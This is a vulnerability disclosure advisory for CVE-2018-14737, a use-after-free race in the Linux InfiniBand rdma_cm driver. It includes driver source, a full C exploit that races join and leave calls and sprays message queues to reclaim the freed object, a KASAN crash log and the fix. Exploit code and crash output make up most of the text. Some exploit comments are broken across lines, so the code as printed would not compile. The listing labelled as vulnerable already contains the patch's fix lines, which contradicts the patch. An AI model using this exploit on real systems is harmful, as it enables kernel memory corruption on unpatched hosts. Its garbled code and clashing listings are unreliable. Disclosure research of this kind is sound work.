SSD Advisory – Infiniband Linux Driver UAF

Vulnerability Summary
A bug in the threads synchronization of Infiniband Driver can cause an Use After Free. A struct that is allocated and free’d by a thread, is accessible through a second thread. If the second thread is calling the function “idr_find” before the struct was free’d by the first thread, then he can still use the struct after it was free’d.
Vendor Response
“Infiniband: fix a possible use-after-free bug has been added to the 4.17-stable tree. Patches currently in stable-queue are queue-4.17/infiniband-fix-a-possible-use-after-free-bug.patch”
CVE
CVE-2018-14737
Credit
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.

Affected systems
Linux systems that contains the Infiniband Driver running Kernel version older than 4.17 (The version that the patch was issued into).
Vulnerability Details
The function ucma_process_join() free’s the new allocated “mc” struct, if there is any error after that.

static ssize_t ucma_process_join(struct ucma_file *file,
				 struct rdma_ucm_join_mcast *cmd,  int out_len)
{
	struct rdma_ucm_create_id_resp resp;
	struct ucma_context *ctx;
	struct ucma_multicast *mc;
	struct sockaddr *addr;
	int ret;
	u8 join_state;
	if (out_len < sizeof(resp))
		return -ENOSPC;
	addr = (struct sockaddr *) &cmd->addr;
	if (cmd->addr_size != rdma_addr_size(addr))
		return -EINVAL;
	if (cmd->join_flags == RDMA_MC_JOIN_FLAG_FULLMEMBER)
		join_state = BIT(FULLMEMBER_JOIN);
	else if (cmd->join_flags == RDMA_MC_JOIN_FLAG_SENDONLY_FULLMEMBER)
		join_state = BIT(SENDONLY_FULLMEMBER_JOIN);
	else
		return -EINVAL;
	ctx = ucma_get_ctx_dev(file, cmd->id);
	if (IS_ERR(ctx))
		return PTR_ERR(ctx);
	mutex_lock(&file->mut);
	mc = ucma_alloc_multicast(ctx);
	if (!mc) {
		ret = -ENOMEM;
		goto err1;
	}
	mc->join_state = join_state;
	mc->uid = cmd->uid;
	memcpy(&mc->addr, addr, cmd->addr_size);
	ret = rdma_join_multicast(ctx->cm_id, (struct sockaddr *)&mc->addr,
				  join_state, mc);
	if (ret)
		goto err2;
	resp.id = mc->id;
	if (copy_to_user(u64_to_user_ptr(cmd->response),
			 &resp, sizeof(resp))) {
		ret = -EFAULT;
		goto err3;
	}
	mutex_lock(&mut);
	idr_replace(&multicast_idr, mc, mc->id);
	mutex_unlock(&mut);
	mutex_unlock(&file->mut);
	ucma_put_ctx(ctx);
	return 0;
err3:
	rdma_leave_multicast(ctx->cm_id, (struct sockaddr *) &mc->addr);
	ucma_cleanup_mc_events(mc);
err2:
	mutex_lock(&mut);
	idr_remove(&multicast_idr, mc->id);
	mutex_unlock(&mut);
	list_del(&mc->list);
	kfree(mc);
err1:
	mutex_unlock(&file->mut);
	ucma_put_ctx(ctx);
	return ret;
}

However, in the same time, ucma_leave_multicast() function that is called by a second thread could find this “mc” through idr_find() before ucma_process_join() frees it, since it is already allocated.
So “mc” is used in ucma_leave_multicast() after it is been allocated and freed in ucma_process_join().

static ssize_t ucma_leave_multicast(struct ucma_file *file,
				    const char __user *inbuf,
				    int in_len, int out_len)
{
	struct rdma_ucm_destroy_id cmd;
	struct rdma_ucm_destroy_id_resp resp;
	struct ucma_multicast *mc;
	int ret = 0;
	if (out_len < sizeof(resp))
		return -ENOSPC;
	if (copy_from_user(&cmd, inbuf, sizeof(cmd)))
		return -EFAULT;
	mutex_lock(&mut);
	mc = idr_find(&multicast_idr, cmd.id);
	if (!mc)
		mc = ERR_PTR(-ENOENT);
	else if (mc->ctx->file != file)
		mc = ERR_PTR(-EINVAL);
	else if (!atomic_inc_not_zero(&mc->ctx->ref))
		mc = ERR_PTR(-ENXIO);
	else
		idr_remove(&multicast_idr, mc->id);
	mutex_unlock(&mut);
	if (IS_ERR(mc)) {
		ret = PTR_ERR(mc);
		goto out;
	}
	rdma_leave_multicast(mc->ctx->cm_id, (struct sockaddr *) &mc->addr);
	mutex_lock(&mc->ctx->file->mut);
	ucma_cleanup_mc_events(mc);
	list_del(&mc->list);
	mutex_unlock(&mc->ctx->file->mut);
	ucma_put_ctx(mc->ctx);
	resp.events_reported = mc->events_reported;
	kfree(mc);
	if (copy_to_user(u64_to_user_ptr(cmd.response),
			 &resp, sizeof(resp)))
		ret = -EFAULT;
out:
	return ret;
}

Exploit

#define _GNU_SOURCE
#include <endian.h>
#include <linux/futex.h>
#include <pthread.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/mman.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/time.h>
#include <sched.h>
#define SEND 1
#define RECV 0
#define RDMATHREADS 30
static void test();
void createThreads();
void testTreadWake();
void exitRdmaThreads();
void loop()
{
    createThreads();
    while (1) {
        test();
    }
}
struct thread_t {
    int created, running, call, CPUNumber, exitFlag;
    pthread_t th;
};
struct msgInfo {
    int msgid;
    int CPUNumber;
    int sendOrRecv; //true: send ; false: recv
};
struct {
    long mtype;
    char mtext[0xAC];
//char mtext[0xB0];
} msg = {0x42, {0}};
static struct thread_t *threads;
static void execute_call(int call);
static int running;
static int collide;
int threadWaittingNum = 0;
int sendCount = 0;
int *sendNum = 0;
int *threadWaitting;
int *threadRunning;
int *ipcThreadStop;
void setAffinity(void* arg);
static void* thr(void* arg)
{
    struct thread_t* th = (struct thread_t*)arg;
    struct msgInfo setRdmaCPUInfo;
    setRdmaCPUInfo.CPUNumber = th->CPUNumber;
    setAffinity(&setRdmaCPUInfo);
    for (;;) {
        while (!__atomic_load_n(&th->running, __ATOMIC_ACQUIRE))
        {
            syscall(SYS_futex, &th->running, FUTEX_WAIT, 0, 0);
        }
        if(__atomic_load_n(&th->exitFlag, __ATOMIC_ACQUIRE))
        {
            syscall(SYS_futex, &th->running, FUTEX_WAKE);
            pthread_detach(pthread_self());
            return 0;
        }
        execute_call(th->call);
        __atomic_fetch_sub(&running, 1, __ATOMIC_RELAXED);
        __atomic_store_n(&th->running, 0, __ATOMIC_RELEASE);
        syscall(SYS_futex, &th->running, FUTEX_WAKE);
    }
    return 0;
}
int threadNum = 0;
void createThreads()
{
    int policy = 0;
    int max_prio_for_policy = 0;
    threads = mmap(NULL, sizeof(struct thread_t)*RDMATHREADS, PROT_READ |
                   PROT_WRITE,
                   MAP_ANONYMOUS | MAP_SHARED, -1, 0);
    for (int thread = 0; thread < RDMATHREADS; thread++) {
        struct thread_t* th = &threads[thread];
        if (!th->created) {
            th->created = 1;
            th->exitFlag = 0;
            th->CPUNumber = (thread==0 ? 0 : 1);
            pthread_attr_t attr;
            pthread_attr_init(&attr);
            pthread_attr_setstacksize(&attr, 128 << 10);
            if(thread == 0)
            {
                pthread_create(&th->th, &attr, thr, th);
                perror("Warning_1111: ");
            }
            else
                pthread_create(&th->th, &attr, thr, th);
            pthread_attr_getschedpolicy(&attr, &policy);
            max_prio_for_policy = sched_get_priority_min(policy);
            pthread_setschedprio(th->th, max_prio_for_policy);
            pthread_attr_destroy(&attr);
        }
    }
}
void readTime(int call)
{
    struct timeval tv;
    printf("run at %d\n",call);
    gettimeofday(&tv,NULL);
    printf("sendNum is ==== %d at %d \n", __atomic_load_n(sendNum,
            __ATOMIC_ACQUIRE), call);
    printf("millisecond:%ld\n",tv.tv_sec*1000000  + tv.tv_usec);
    return;
}
uint64_t r[3] = {0xffffffffffffffff, 0xffffffff, 0xffffffff};
uint64_t procid;
void execute_call(int call)
{
    //printf("call is %d\n",call);
    long res;
    switch (call) {
    case 0:
        *(uint32_t*)0x20000080 = 0;
        //printf("create.........\n");
        *(uint16_t*)0x20000084 = 0x18;
        *(uint16_t*)0x20000086 = 0xfa00;
        *(uint64_t*)0x20000088 = 2;
        *(uint64_t*)0x20000090 = 0x20000040;
        *(uint16_t*)0x20000098 = 0x111;
        *(uint8_t*)0x2000009a = 0xd;
        *(uint8_t*)0x2000009b = 0;
        *(uint8_t*)0x2000009c = 0;
        *(uint8_t*)0x2000009d = 0;
        *(uint8_t*)0x2000009e = 0;
        *(uint8_t*)0x2000009f = 0;
        res = syscall(__NR_write, r[0], 0x20000080, 0x20); // create
        if (res != -1)
            r[1] = *(uint32_t*)0x20000040;
        break;
    case 1:
        printf("join.........\n");
        *(uint32_t*)0x20000180 = 0x16;
        *(uint16_t*)0x20000184 = 0x98;
        *(uint16_t*)0x20000186 = 0xfa00;
        *(uint64_t*)0x20000188 = 0x20000140;
        *(uint64_t*)0x20000190 = 3;
        *(uint32_t*)0x20000198 = r[1];
        *(uint16_t*)0x2000019c = 0x10;
        *(uint16_t*)0x2000019e = 1;
        *(uint16_t*)0x200001a0 = 2;
        *(uint16_t*)0x200001a2 = htobe16(0x4e23);
        *(uint8_t*)0x200001a4 = 0xac;
        *(uint8_t*)0x200001a5 = 0x14;
        *(uint8_t*)0x200001a6 = 0x14;
        *(uint8_t*)0x200001a7 = 0xbb;
        *(uint8_t*)0x200001a8 = 0;
        *(uint8_t*)0x200001a9 = 0;
        *(uint8_t*)0x200001aa = 0;
        *(uint8_t*)0x200001ab = 0;
        *(uint8_t*)0x200001ac = 0;
        *(uint8_t*)0x200001ad = 0;
        *(uint8_t*)0x200001ae = 0;
        *(uint8_t*)0x200001af = 0;
        __atomic_store_n(sendNum, 0, __ATOMIC_RELEASE);
//readTime(1);
        res = syscall(__NR_write, r[0], 0x20000180, 0xa0); //
        ucma_join_multicast alloc "mc", and then the function will free it and
        "ctx", if there are some error.
//readTime(11111);
        if (res != -1)
                r[2] = *(uint32_t*)0x20000140;
        break;
    case 2:
        //printf("leave.........\n");
        *(uint32_t*)0x20000240 = 0x11;
        *(uint16_t*)0x20000244 = 0x10;
        *(uint16_t*)0x20000246 = 0xfa00;
        *(uint64_t*)0x20000248 = 0x20000100;
        *(uint32_t*)0x20000250 = 0; // set id
        *(uint32_t*)0x20000254 = 0;
        __atomic_store_n(sendNum, 0, __ATOMIC_RELEASE);
//readTime(2);
        syscall(__NR_write, r[0], 0x20000240, 0x18); //
        ucma_leave_multicast() find "mc", and use it and "ctx". Crash in it.
        break;
    }
}
void runJoin()
{
    __atomic_store_n(threadRunning, 1, __ATOMIC_RELEASE);
    syscall(SYS_futex, threadWaitting, FUTEX_WAKE, threadWaittingNum,
            NULL, NULL, 0);
    struct thread_t* th = &threads[0];
    if (th->created) {
        __atomic_store_n(&th->call, 1, __ATOMIC_RELEASE);
        __atomic_fetch_add(&running, 1, __ATOMIC_RELAXED);
        __atomic_store_n(&th->running, 1, __ATOMIC_RELEASE);
        syscall(SYS_futex, &th->running, FUTEX_WAKE);
    }
}
int count = 0;
void runCreateOrLeave(int call, int threadNum)
{
    struct thread_t* th = &threads[threadNum]; // 0 or 1
    struct timespec ts;
    if (th->created) {
        __atomic_store_n(&th->call, call,  __ATOMIC_RELEASE);
        __atomic_fetch_add(&running, 1, __ATOMIC_RELAXED);
        __atomic_store_n(&th->running, 1, __ATOMIC_RELEASE);
        syscall(SYS_futex, &th->running, FUTEX_WAKE);
    }
    ts.tv_sec = 0;
    ts.tv_nsec = 20 * 1000 * 1000;
    syscall(SYS_futex, &th->running, FUTEX_WAIT, 1, &ts);
}
void runCreateOrLeaveNoWait(int call, int threadNum)
{
    struct thread_t* th = &threads[threadNum];
    if (th->created) {
        __atomic_store_n(&th->call, call,  __ATOMIC_RELEASE);
        __atomic_fetch_add(&running, 1, __ATOMIC_RELAXED);
        __atomic_store_n(&th->running, 1, __ATOMIC_RELEASE);
        syscall(SYS_futex, &th->running, FUTEX_WAKE);
    }
}
void exitRdmaThreads()
{
    struct timespec ts;
    struct thread_t* th;
    th = &threads[0];
    ts.tv_sec = 0;
    ts.tv_nsec = 20 * 1000 * 1000;
    syscall(SYS_futex, &th->running, FUTEX_WAIT, 1, &ts);
    for(int i = 0; i < RDMATHREADS; i++)
    {
        th = &threads[i];
        if (th->created) {
            th->created = 0;
            __atomic_store_n(&th->exitFlag, 1, __ATOMIC_RELEASE);
            __atomic_fetch_add(&running, 1, __ATOMIC_RELAXED);
            __atomic_store_n(&th->running, 1, __ATOMIC_RELEASE);
            syscall(SYS_futex, &th->running, FUTEX_WAKE);
            struct timespec ts;
            ts.tv_sec = 0;
            ts.tv_nsec = 20 * 1000 * 1000;
            syscall(SYS_futex, &th->running, FUTEX_WAIT, 1, &ts);
        }
    }
    munmap(threads, sizeof(struct thread_t)*RDMATHREADS);
    if(sendCount)
        syscall(SYS_futex, ipcThreadStop, FUTEX_WAIT, 1, NULL, NULL, 0);
}
void setAffinity(void *arg)
{
    int i;
    cpu_set_t mask;
    cpu_set_t get;
    int cpuId = ((struct msgInfo*)arg)->CPUNumber;
    CPU_ZERO(&mask);
    CPU_SET(cpuId, &mask);
    if (pthread_setaffinity_np(pthread_self(), sizeof(mask), &mask) < 0) {
        fprintf(stderr, "set thread affinity failed\n");
    }
    CPU_ZERO(&get);
    if (pthread_getaffinity_np(pthread_self(), sizeof(get), &get) < 0) {
        fprintf(stderr, "get thread affinity failed\n");
    }
}
void *holeThread(struct msgInfo *msgInfo)
{
    int msgid = msgInfo->msgid;
    setAffinity(&msgInfo);
    if(msgInfo->sendOrRecv == SEND)
    {
        while(1)
        {
            __atomic_fetch_add(&threadWaittingNum, 1, __ATOMIC_RELAXED);
            syscall(SYS_futex, threadWaitting, FUTEX_WAIT, 1, NULL, NULL, 0);
            while(__atomic_load_n(threadRunning, __ATOMIC_ACQUIRE))
            {
                if (msgsnd(msgid, &msg, sizeof(msg.mtext), 0) == -1) {
                    perror("msgsnd");
                    exit(1);
                }
                __atomic_fetch_add(&sendCount, 1, __ATOMIC_RELAXED);
                __atomic_fetch_add(sendNum, 1, __ATOMIC_RELAXED);
            }
            __atomic_fetch_sub(&threadWaittingNum, 1, __ATOMIC_RELAXED);
        }
    }
    else
    {
        while(1)
        {
            __atomic_fetch_add(&threadWaittingNum, 1, __ATOMIC_RELAXED);
            syscall(SYS_futex, threadWaitting, FUTEX_WAIT, 1, NULL, NULL, 0);
            int tSendCount = 0;
            while(__atomic_load_n(&sendCount, __ATOMIC_ACQUIRE))
            {
                if(__atomic_load_n(&sendCount, __ATOMIC_ACQUIRE)<5)
                {
                    usleep(1000*1000);
                    continue;
                }
                if (msgrcv(msgid, &msg, sizeof(msg.mtext), 0x42, 0) == -1) {
                    perror("msgrcv error !!!!");
                    exit(1);
                }
                __atomic_fetch_sub(&sendCount, 1, __ATOMIC_RELAXED);
                __atomic_fetch_add(&tSendCount, 1, __ATOMIC_RELAXED);
            }
            syscall(SYS_futex, ipcThreadStop, FUTEX_WAKE);
            __atomic_fetch_sub(&threadWaittingNum, 1, __ATOMIC_RELAXED);
        }
    }
}
void createHoleThreads(struct msgInfo *msgInfo)
{
    pthread_t tid;
    pthread_attr_t thAttr;
    int policy = 0;
    int max_prio_for_policy = 0;
    if (pthread_create(&tid, NULL, (void *)holeThread, msgInfo) != 0) {
        perror("create thread");
        fprintf(stderr, "thread create failed\n");
        return;
    }
    pthread_attr_init(&thAttr);
    pthread_attr_getschedpolicy(&thAttr, &policy);
    max_prio_for_policy = sched_get_priority_max(policy);
    pthread_setschedprio(tid, max_prio_for_policy);
    pthread_attr_destroy(&thAttr);
    return;
}
void test()
{
    printf("===== run test %d ====\n",count++);
    long res = -1;
    memcpy((void*)0x20000680, "/dev/infiniband/rdma_cm", 24);
    res = syscall(__NR_openat, 0xffffffffffffff9c, 0x20000680, 2, 0);
    if (res != -1)
        r[0] = res;
    collide = 1;
    runCreateOrLeave(0, 1); // run rdma create on CPU 0 and Thread 1
    runJoin(); // run rdma Join on CPU 0 and Thread 0
    for(int i = 3; i < RDMATHREADS; i++)
        runCreateOrLeaveNoWait(2, i); // run rdma leave on CPU 1 and Thread
    [3:RDMATHREADS-1]
    runCreateOrLeave(2, 2); // run rdma leave on CPU 1 and Thread 2
    __atomic_store_n(threadRunning, 0, __ATOMIC_RELEASE);
    if(res != -1)
        close(res);
}
void testTreadWake()
{
    syscall(SYS_futex, threadWaitting, FUTEX_WAKE, 200, NULL, NULL, 0);
    perror("threadWaitting_1: ");
}
int main()
{
    syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0);
    memset(msg.mtext, '\x41', sizeof(msg.mtext));
    int pid = 0;
    int msgid = 0;
    struct msgInfo sendHoleInfo;
    struct msgInfo recvHoleInfo;
    struct msgInfo sendHoleInfo_1;
    struct msgInfo recvHoleInfo_1;
    threadWaitting = mmap(NULL, sizeof(int), PROT_READ | PROT_WRITE,
                          MAP_ANONYMOUS | MAP_SHARED, -1, 0);
    *threadWaitting = 1;
    threadRunning = mmap(NULL, sizeof(int), PROT_READ | PROT_WRITE,
                         MAP_ANONYMOUS | MAP_SHARED, -1, 0);
    *threadRunning = 0;
    ipcThreadStop = mmap(NULL, sizeof(int), PROT_READ | PROT_WRITE,
                         MAP_ANONYMOUS | MAP_SHARED, -1, 0);
    *ipcThreadStop = 1;
    sendNum = mmap(NULL, sizeof(int), PROT_READ | PROT_WRITE,
                   MAP_ANONYMOUS | MAP_SHARED, -1, 0);
    *sendNum = 0;
    if ((msgid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
        perror("msgget");
        exit(1);
    }
    sendHoleInfo.msgid = msgid;
    sendHoleInfo.sendOrRecv = SEND;
    sendHoleInfo.CPUNumber = 0;
    recvHoleInfo.msgid = msgid;
    recvHoleInfo.sendOrRecv = RECV;
    recvHoleInfo.CPUNumber = 1;
    printf("Creating ipc msg threads\n");
    for(int i = 0; i < 250; i++) {
        createHoleThreads(&sendHoleInfo);
    }
    for(int i = 0; i < 150; i++) {
        createHoleThreads(&recvHoleInfo);
    }
    printf("Ipc msg threads are created\n");
    for (procid = 0; procid < 1; procid++) {
        if (fork() == 0) {
            //for (;;) {
            loop();
            //}
        }
    }
    printf("ending..................\n");
    sleep(1000000);
    return 0;
}

Crash info

[  623.954258] kasan: CONFIG_KASAN_INLINE enabled
[  623.956513] kasan: GPF could be caused by NULL-ptr deref or user
memory access
[  623.959668] general protection fault: 0000 [#8] SMP KASAN PTI
[  623.962402] Modules linked in: kvm_intel joydev ppdev kvm irqbypass
psmouse e1000 parport_pc floppy parport pata_acpi i2c_piix4
qemu_fw_cfg autofs4 input_leds serio_raw mac_hid
[  623.968486] CPU: 1 PID: 4272 Comm: use_poc_3 Tainted: G    B D W
   4.14.33 #1
[  623.971948] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996),
BIOS 1.10.2-1ubuntu1 04/01/2014
[  623.975340] task: ffff880085868040 task.stack: ffff880066e60000
[  623.977698] RIP: 0010:__mutex_lock+0x2a9/0x1c00
[  623.979900] RSP: 0018:ffff880066e67680 EFLAGS: 00010206
[  623.981902] RAX: dffffc0000000000 RBX: 4141414141414141 RCX: 0000000000000000
[  623.984623] RDX: 0828282828282828 RSI: 0000000000000000 RDI: 0000000000000246
[  623.987391] RBP: ffff880066e67a70 R08: ffffffff8313f0b2 R09: ffff880085868040
[  623.990093] R10: ffff880066e67548 R11: 0000000000000000 R12: ffff880066e677a0
[  623.993642] R13: ffff880066e67800 R14: 0000000000000000 R15: ffff880066e67880
[  623.996525] FS:  00007f1fdc554700(0000) GS:ffff880097d00000(0000)
knlGS:0000000000000000
[  623.998753] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  624.000779] CR2: 00007f1fe0622a08 CR3: 000000007fe40000 CR4: 00000000000006e0
[  624.002582] Call Trace:
[  624.003570]  ? debug_check_no_locks_freed+0x2c0/0x2c0
[  624.004730]  ? ucma_leave_multicast+0x472/0x9a0
[  624.006545]  ? mutex_lock_io_nested+0x1ad0/0x1ad0
[  624.008518]  ? debug_check_no_locks_freed+0x2c0/0x2c0
[  624.010548]  ? ucma_leave_multicast+0x3cd/0x9a0
[  624.011826]  ? lock_acquire+0x5b0/0x5b0
[  624.012676]  ? radix_tree_tagged+0x60/0x60
[  624.013884]  ? lock_acquire+0x20d/0x5b0
[  624.015467]  ? rdma_leave_multicast+0x541/0x820
[  624.017408]  ? lock_acquire+0x5b0/0x5b0
[  624.018971]  ? lock_downgrade+0x820/0x820
[  624.020497]  ? __mutex_unlock_slowpath+0x170/0xcb0
[  624.021855]  ? radix_tree_tag_clear+0x350/0x350
[  624.023283]  ? do_raw_spin_trylock+0x1a0/0x1a0
[  624.024889]  ? trace_hardirqs_on_thunk+0x1a/0x1c
[  624.026230]  ? retint_kernel+0x10/0x10
[  624.027714]  mutex_lock_nested+0x1b/0x20
[  624.029088]  ? mutex_lock_nested+0x1b/0x20
[  624.030617]  ucma_leave_multicast+0x472/0x9a0
[  624.031874]  ? ucma_query_path.isra.11+0xa60/0xa60
[  624.033216]  ? lock_downgrade+0x820/0x820
[  624.034471]  ? entry_SYSCALL_64_after_hwframe+0x42/0xb7
[  624.035921]  ? kasan_check_write+0x14/0x20
[  624.037151]  ucma_write+0x31f/0x430
[  624.038174]  ? ucma_query_path.isra.11+0xa60/0xa60
[  624.039702]  ? ucma_destroy_id+0x5b0/0x5b0
[  624.041199]  ? __check_object_size+0x2d8/0x560
[  624.043076]  ? ucma_destroy_id+0x5b0/0x5b0
[  624.044756]  __vfs_write+0x90/0x120
[  624.046565]  vfs_write+0x1a0/0x520
[  624.048185]  SyS_write+0xff/0x240
[  624.049546]  ? SyS_read+0x240/0x240
[  624.050923]  ? lock_downgrade+0x820/0x820
[  624.052617]  ? SyS_read+0x240/0x240
[  624.054182]  do_syscall_64+0x28f/0x7f0
[  624.055722]  ? syscall_return_slowpath+0x400/0x400
[  624.057637]  ? syscall_return_slowpath+0x253/0x400
[  624.059575]  ? prepare_exit_to_usermode+0x2b0/0x2b0
[  624.061498]  ? preempt_notifier_dec+0x20/0x20
[  624.063201]  ? perf_trace_sys_enter+0xc70/0xc70
[  624.064978]  ? trace_hardirqs_off_thunk+0x1a/0x1c
[  624.066805]  entry_SYSCALL_64_after_hwframe+0x42/0xb7

Patch

--- a/drivers/infiniband/core/ucma.c
+++ b/drivers/infiniband/core/ucma.c
@@ -235,7 +235,7 @@ static struct ucma_multicast* ucma_alloc
                return NULL;
        mutex_lock(&mut);
-       mc->id = idr_alloc(&multicast_idr, mc, 0, 0, GFP_KERNEL);
+       mc->id = idr_alloc(&multicast_idr, NULL, 0, 0, GFP_KERNEL);
        mutex_unlock(&mut);
        if (mc->id < 0)
                goto error;
@@ -1421,6 +1421,10 @@ static ssize_t ucma_process_join(struct
                goto err3;
        }
+       mutex_lock(&mut);
+       idr_replace(&multicast_idr, mc, mc->id);
+       mutex_unlock(&mut);
+
        mutex_unlock(&file->mut);
        ucma_put_ctx(ctx);
        return 0;